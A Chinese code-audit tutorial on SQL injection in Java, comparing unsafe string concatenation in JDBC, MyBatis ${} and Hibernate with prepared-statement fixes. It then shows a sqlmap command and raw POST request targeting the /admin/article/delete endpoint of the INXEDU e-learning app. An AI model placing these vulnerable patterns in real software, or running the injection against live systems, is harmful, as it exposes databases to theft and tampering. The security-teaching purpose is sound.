代码审计-Java项目&JDBC&Mybatis&Hibernate&注入&预编译&写法

2023-10-29

Javaweb-数据库操作-模式&写法&预编译等

环境搭建

VulDemo审计源码百度云
在Java中执行SQL语句一般有以下几种方式:

JDBC 注入分析

        String sql = "select * from user where id ="+req.getParameter("id");
        PrintWriter out = resp.getWriter();
        out.println("Statement Demo");
        out.println("SQL: "+sql);
        try {
            Statement st = conn.createStatement();
            ResultSet rs = st.executeQuery(sql);
            while (rs.next()){
                out.println("<br>Result: "+ rs.getObject("name"));
            }
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

这里sql语句与请求参数进行了拼接(使用了JDBC API Statement执行sql语句的方法)
在这里插入图片描述

        PrintWriter out = resp.getWriter();
        out.println("prepareStatement Demo3");
        String sql = "select * from user where id = ?";
        out.println(sql);
        try {
            PreparedStatement pstt = conn.prepareStatement(sql);
            // 参数已经强制要求是整型
            pstt.setInt(1, Integer.parseInt(req.getParameter("id")));
            ResultSet rs = pstt.executeQuery();
            while (rs.next()){
                out.println("<br> id: "+rs.getObject("id"));
                out.println("<br> name: "+rs.getObject("name"));
            }
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

PreparedStatement(也是JDBC API执行sql语句的方法)
在这里插入图片描述

Statement和PreparedStatement是Java JDBC API中两种常用的执行SQL语句的方式
Statement:
Statement对象用于执行静态SQL语句,即在编译时已经确定了SQL语句的结构。
Statement执行SQL语句时,直接将完整的SQL语句发送给数据库执行。
Statement对象适用于执行不带参数的简单SQL查询或更新操作。
由于Statement对象没有预编译阶段,每次执行SQL语句时都需要将SQL语句编译一次,这可能导致一定的性能开销。
由于没有参数化输入的机制,使用Statement对象时需要谨慎处理输入数据,以防止SQL注入攻击。
PreparedStatement:
PreparedStatement对象用于执行动态SQL语句,即在执行时才确定SQL语句的具体参数值。
PreparedStatement对象在创建时需要提供一个SQL模板,其中的参数使用占位符(例如,“?”)表示。
在执行PreparedStatement时,首先会对SQL语句进行编译和优化,然后只需提供参数值,而不需要重新编译SQL语句。
PreparedStatement适用于频繁执行带有参数的SQL语句,如参数化查询。
由于PreparedStatement具有预编译和参数化输入的特性,可以提高性能和安全性,并且能够防止SQL注入攻击。

安全写法(SQLDemo3): “select * from user where id = ?”; //参数化执行sql语句
不安全写法(SQLDemo): “select * from user where id =”+req.getParameter(“id”);

关于预编译

编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作,
预编译技术会让数据库跳过编译阶段(sql语句已经编译好了),也就无法就进行词法分析,关键字不会被拆开,所有参数 直接 变成字符串 进入 数据库执行器执行。
参考:https://blog.csdn.net/qq_42521154/article/details/110785392

Mybatis 注入分析

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.demo.dao.UserDao">
    <select id="QueryByName" parameterType="String" resultType="com.demo.bean.User">

        select *  from user where name = ${name}
    </select>
    以下方式可以防御SQL注入
    <select id="QueryByName" parameterType="String" resultType="com.demo.bean.User">

        select *  from user where name = #{name}
    </select>
</mapper>

#号会点语句进行预编译
${ } 只是进行string 替换,动态解析SQL的时候会进行变量替换

安全写法(): select * from user where name = #{name}
不安全写法(UserDao.xml):select * from user where name = ${name}

#{name}和${name}MyBatis中两种常用的参数传递方式,具有不同的行为和特点
#{name}(参数占位符):
是一种安全的参数传递方式,会自动进行参数值的转义和处理,防止SQL注入攻击
使用#{name}时,MyBatis会将参数值作为预编译的参数,将其安全地插入到SQL语句中。
-----------------------------------------------------------------------------
${name}(文本替换):
${name} 是一种简单的文本替换方式,它会将 ${name} 直接替换为参数值,不进行参数值的转义或处理。
使用${name}时,参数值会被直接拼接到SQL语句中,存在SQL注入的风险。

Hibernate 注入分析

        PrintWriter out = resp.getWriter();
        out.println("Hibernate Demo");
        try {
            tx = session.beginTransaction();
            String parameter = req.getParameter("name");
//            List user = session.createQuery("FROM User where name='" + parameter + "'").getResultList();
            // from user where name = 'Yu or 1=1'
            Query query = session.createQuery("from com.demo.bean.User where name = ?1", User.class);

            query.setParameter(1, parameter);
            List user = query.getResultList();
            for (Iterator iterator =
                 user.iterator(); iterator.hasNext(); ) {
                User user1 = (User) iterator.next();
                out.println(user1.toString());
            }
            tx.commit();
        }catch (HibernateException e) {
            if (tx!=null) tx.rollback();
            e.printStackTrace();
        }finally {
            //session.close();
        }

安全写法():参数绑定预编译
Query.query=session.createNativeQuery(“select * from user where name=:name”);
query.setParameter(“name”,parameter) ;
在这里插入图片描述
这里对’进行了转义;通过query.setParameter()方法将参数值设置到查询语句中,避免了直接拼接参数值到查询语句中的安全风险
不安全写法(User.java):
Query.query=session.createNativeQuery(“select * from user where name=”+req.getParameter(“id”));
这里同样也是拼接

总结:

1、预编译使用不当:
sql=“select * from user where id = ?”;
sql+=“and username =”+req.getParameter(“username”);
2、直接动态拼接:
“select * from user where id =”+req.getParameter(“id”);
3、order by& like & in查询:(由于这两种不能预编译,所以需要过滤器或自定义过滤)
防御:
能预编译的情况都做预编译,一些特殊无法做预编译的,则过滤用户可控的参数。

Javaweb-代码审计SQL注入-INXEDU在线网校

思路:明确SQL三种模式->引用Mybatis->$()写法及XML文件->deleteArticleByIds->ArticleService.java->调用层次结构->deleteArticle->this.deleteArticle(aridArr)
路由:/admin/article/delete 参数:articelId

python sqlmap.py -r inxedu.txt

POST /admin/article/delete HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Cookie: BEEFHOOK=AOWdyRnbQnsrIpDhPuZf0a8oGzFzUKJrfRgGVHbRCB8cvznVuMjwWpmCPpPZuQyYjmiKPdtWLQJWbF80; _c_id=ascxsky7fw6uja985fn1635787683950vota; 3AB9D23F7A4B3C9B=YRQ5UHLXN2L3Z6RWJYHZNC3APNTMAJZNYXER2ILC6Z6TLFUDUAWZ4TLJA54Q37AMAKWGGT4LWNSNWYAUH6UJWZU74E; jSkQ_2132_ulastactivity=dcc8oerh%2F%2BcUSRVNiDd1%2B3wanKhoUM6O1jjHGfOa8wi1oDWf7zW5; jSkQ_2132_lastcheckfeed=1%7C1638707571; jSkQ_2132_nofavfid=1; JSESSIONID=12705DA8E13D05312443DE7F337F512F; inxedulogin_sys_user_=inxedulogin_sys_user_1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

articelId=1*
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

代码审计-Java项目&JDBC&Mybatis&Hibernate&注入&预编译&写法 的相关文章

  • 如何将参数传递给Workmanager DoWork方法

    我想安排任务在 24 小时后从数据库中删除 public class WorkManager extends Worker public WorkManager NonNull Context context NonNull WorkerP
  • Maven项目中的HDF5

    我正在尝试将 hdf hdf5lib H5 导入到 NetBeans 中的 Maven 项目中 它有这个作为导入行 import hdf hdf5lib H5 正如这里所建议的 https support hdfgroup org prod
  • 调试器不会停止在 Intellij IDEA 中的源代码处

    我有一个相当奇怪的问题 无法使用 Intellij IDEA 解决 我正在解析电子邮件文件org apache james mime4j包裹 但我的邮件文件格式不兼容Date 标头 因此 我从 mime4j 源创建了模块 并从磁盘中删除了
  • 内部/匿名类的最佳实践[关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 匿名类和静态内部类的最佳实践 设计和性能方面 是什么 就我个人而言 我认为静态内部类提供了更好的封装 并且应该提供更好的性能 因为它们无法访问类
  • bean 的 CDI @TransactionAttribute

    我正在尝试CDI在测试应用程序上 我有一个DAO它注入一个托管的容器JTA像这样的持久化上下文 public class TestDAO implements Serializable PersistenceContext private
  • Java:Swing:设置JButton的位置

    我想实现以下布局 OK
  • TableModel setCellEditable 并自动将值设置回 false

    我目前正在尝试在 JTable 中实现 JPopupMenu 它允许解锁单元格以进行编辑 Override public void actionPerformed ActionEvent e if e getActionCommand Un
  • 如何从 Java 生产代码中删除调试语句

    编译器是否可以从生产代码中删除用于调试目的 例如日志记录 的语句 调试语句需要以某种方式进行标记 可能使用注释 设置属性 debug true 并在每个调试语句中检查它很容易 但这会降低性能 如果编译器能够简单地使调试语句消失 那就太好了
  • java多线程中“私有最终对象”锁定有什么用?

    java多线程中 私有最终对象 锁定有什么用 据我的理解 我认为要使一个类成为线程安全的 我们应该使用内部锁定 将所有方法标记为同步并使用 this 将它们锁定在对象的监视器上 或者我们可以用方法中的私有最终对象锁替换类的 this 上标记
  • HQL:从 Eager 表中获取连接集合

    我有四张桌子 RootNode Will return multiple root nodes SubNode Will return one sub node per root node SubNodeChildren1 Will ret
  • String.intern() 线程安全吗

    我想在Java中使用 String intern 来节省内存 对具有相同内容的字符串使用内部池 我从不同的线程调用这个方法 这是个问题吗 对你的问题的简短回答是肯定的 它是线程安全的 但是 您可能需要重新考虑使用此工具来减少内存消耗 原因是
  • mysql 准备好的语句错误:MySQLSyntaxErrorException

    我使用准备好的语句编写了选择语句 每次尝试运行都会出现此错误 我如何克服这个错误 我的jdbc连接器是mysql connector java 5 1 13 bin jar 我的代码 public Main add ad to getAdD
  • 在Android项目中引用(纯java)项目(找不到类)

    我试图在我的 Android 项目中引用一个纯 java 项目 gt Java 项目有一大堆我需要使用的类 哦 正如第一个回复所指出的 我正在使用 eclipse 是的 唯一的问题是 我总是找不到类 XXX 从方法 com example
  • Java泛型类型参数中的问号是什么意思? [复制]

    这个问题在这里已经有答案了 这是取自斯坦福解析器附带的一些示例的一小段代码 我已经用 Java 进行了大约 4 年的开发 但从未对这种风格的代码应该表示什么有非常深入的理解 List
  • java.lang.IllegalStateException:FragmentManager 已被销毁

    活动中onResume我称之为 volley request 的方法 它获取项目列表 然后将它们加载到此活动内的 ListFragment 中 当我第一次进入活动时 一切正常 但当我重新进入活动时 ListFragment 为空 并且控制台
  • 使用 ProcessBuilder 启动 CMD

    我尝试使用以下代码在 Windows 中启动 CMD 应用程序 但它无法按预期工作 来自不同网站的几个示例表明 cmd 作为 ProcessBuilder 构造中的参数应该有效 我需要做什么才能让我的 Java 应用程序在 Windows
  • Java 中有类似 .NET 的 NotImplementedException 的东西吗?

    有没有类似 NET 的东西NotImplementedException在Java中 康芒斯朗 http commons apache org proper commons lang javadocs api 2 6 org apache
  • 使用替换但不使用根元素的 Jaxb 继承

    我正在浏览布莱斯的博客http blog bdoughan com 2010 11 jaxb and inheritance using substitution html http blog bdoughan com 2010 11 ja
  • 如何使用 iBatis (myBatis) 的注释进行 IN 查询?

    我们只想在 MyBatis 中使用注释 我们确实在努力避免使用 xml 我们尝试使用 IN 子句 Select SELECT FROM blog WHERE id IN ids List
  • 如何将元素添加到通用集合

    我想知道如何将专用对象添加到通用集合中 我正在使用以下代码 Collection

随机推荐

  • mpvue返回页面,当前页面数据不会清空

    遇到问题 使用mpvue时 编辑页面会将数据加载到页面上 点击返回 新增页面时 进入的同一页面会发现数据仍然在 页面没有被卸载 数据没有清空 解决方案 在进入页面时 在生命周期内重置data数据 mounted Object assign
  • vue,elementui更改文件名下载,并添加el-progress进度条

    功能 vue elementui更改文件名下载 下载添加el progress进度条 需求 公司需要下载fastdfs文件系统文件 通过http方式 并修改下载的文件名 ps 跨域问题通过配置nginx解决 下载组件代码如下
  • 基于BC-linux/Centos下的K8S单机环境搭建

    搭建前环境准备 配置虚拟机 详细的配置流程比较简单 这里就直接放配置完成的设置 处理器是4个单核 内存是8G 硬盘空间是60G 重点是网络适配器选择NAT模式 另外这里的镜像是选择的BC linux 基于Centos下的 版本是7 6的 下
  • TCP拥塞控制

    拥塞 在某段时间 若对网络中某资源的需求超过了该资源所能提供的可用部分 网络的性能就要变坏 产生拥塞 congestion 拥塞原因 某结点缓存容量太小 某链路带宽不足 某些处理机处理效率太慢 拥塞会累积 不断加剧 增加资源并不能从根本上解
  • QtXlsx编译、使用笔记

    换个方式操作ms office excel 第一次知道QtXlsx 记录一下使用方式 项目地址 http qtxlsx debao me 网上说的编译方式没搞定 vs2013 qt5 5 1加入pro文件 pri文件 都失败 用了一个简单方
  • IIS安装配置和简单网站部署流程

    IIS安装和网站配置 环境 win10 注意 这是在win10下部署iis 开发环境下部署 开发测试 非windows server IIS简介 Internet Information Services 简称IIS 是微软提供基于wind
  • 零基础小白如何入门python爬虫?3年程序员分享python爬虫学习攻略(文内有福利)

    如果你是非计算机专业 完全是零基础编程 这篇文章就是专门为你写的 内容不长 2分钟就能看完 但还是希望能给你一些帮助 以前从纯白零基础学Python 很多坑都没人踩 现在经常看到很多Python学习群里的新朋友总是喊着 从入门到放弃 觉得学
  • 【ROS】ROS1人机界面开发:在QtCreator中创建ROS1功能包

    ROS 郭老二博文之 ROS目录 1 版本要求 ROS的QtCreator插件要和QtCreator版本对应一致 否则报错 本人QtCreator版本为 10 0 1 需要下载安装ros qtc plugin的版本也要为10 0版本 2 安
  • 用Python绘制地理图

    当您的数据包含地理信息时 丰富的地图可视化可以为您理解数据和解释分析结果的最终用户提供重要价值 Plotly Plotly是一个著名的库 用于在Python中创建交互式绘图和仪表板 安装Plotly 在命令提示符中运行这两个命令 以在我们的
  • 六、windows环境下netcat的安装及使用

    windows环境下netcat的安装及使用 s小菜鸟 2019 01 03 21 05 51 5080 收藏 14 1 下载netcat 下载地址 https eternallybored org misc netcat 2 解压文件 3
  • Java中的NIO编程

    1 BIO和NIO简介 BIO NIO AIO简介 1 Java BIO 同步并阻塞 传统阻塞型 服务器实现模式为一个连接一个线程 即客户端有连接请求时服务器端就需要启动一个线程进行处理 如果这个连接不做任何事情会造成不必要的线程开销 2
  • 中国天气网全城市代码weather_cityId

    Ctrl F 查询 城市名字 http mobile weather com cn data forecast 101010100 html 1381891660081 北京 gt 101010100 海淀 gt 101010200 朝阳
  • 【openWrt】自定义后台访问端口

    通过ssh访问openwrt系统 修改 ect config uhttpd文件 再重启openwrt即可
  • 无人不苦,不必喊疼

    张爱玲说 生活是一袭华美的长袍 里面爬满了虱子 对于大多数人来说 生活都是外面光鲜亮丽 里面却各有各的苦楚 尤其对于成人 更是早已被生活的风霜 侵袭得体无完肤 可是 生活再不易 也总要拼尽了全力往前走 才能趟过荆棘丛生 走上康庄大道 1成人
  • ArrayList源码分析(基于JDK11)

    ArrayList源码分析 基于JDK11 类字段 private static final long serialVersionUID 8683452581122892189L private static final int DEFAU
  • JMETER:Uncaught exception in thread Thread

    Uncaught exception in thread Thread AWT EventQueue 0 6 main 调用测试片段错误 循环调用了
  • Jmeter中正则表达式提取器使用详解

    转载地址 http blog csdn net quiet girl article details 50724313 在使用Jmeter过程中 会经常使用到正则表达式提取器提取器 虽然并不直接涉及到请求的测试 但是对于数据的传递起着很大的
  • linux查看磁盘io性能

    1 查看磁盘 IO 性能 1 1 top 命令 top 命令通过查看 CPU 的 wa 值来判断当前磁盘 IO 性能 如果这个数值过大 很可能是磁盘 IO 太高了 当然也可能是其他原因 例如网络 IO 过高等 1 2 sar 命令 sar
  • Jupyter Notebook使用-如何设置代码单元启用自动换行

    最近开始使用 Jupyter Notebook 至于它的强大功能不需要我做过多介绍 接下来直接进入正题 在使用的过程中我发现了一个这样的问题 当编辑的代码过长时将会出现滚动条 滑动条 像下面这样 但是当我将滚动条拉到底时 问题出现了 侧边栏
  • 代码审计-Java项目&JDBC&Mybatis&Hibernate&注入&预编译&写法

    文章目录 Javaweb 数据库操作 模式 写法 预编译等 环境搭建 JDBC 注入分析 关于预编译 Mybatis 注入分析 Hibernate 注入分析 总结 Javaweb 代码审计SQL注入 INXEDU在线网校 Javaweb 数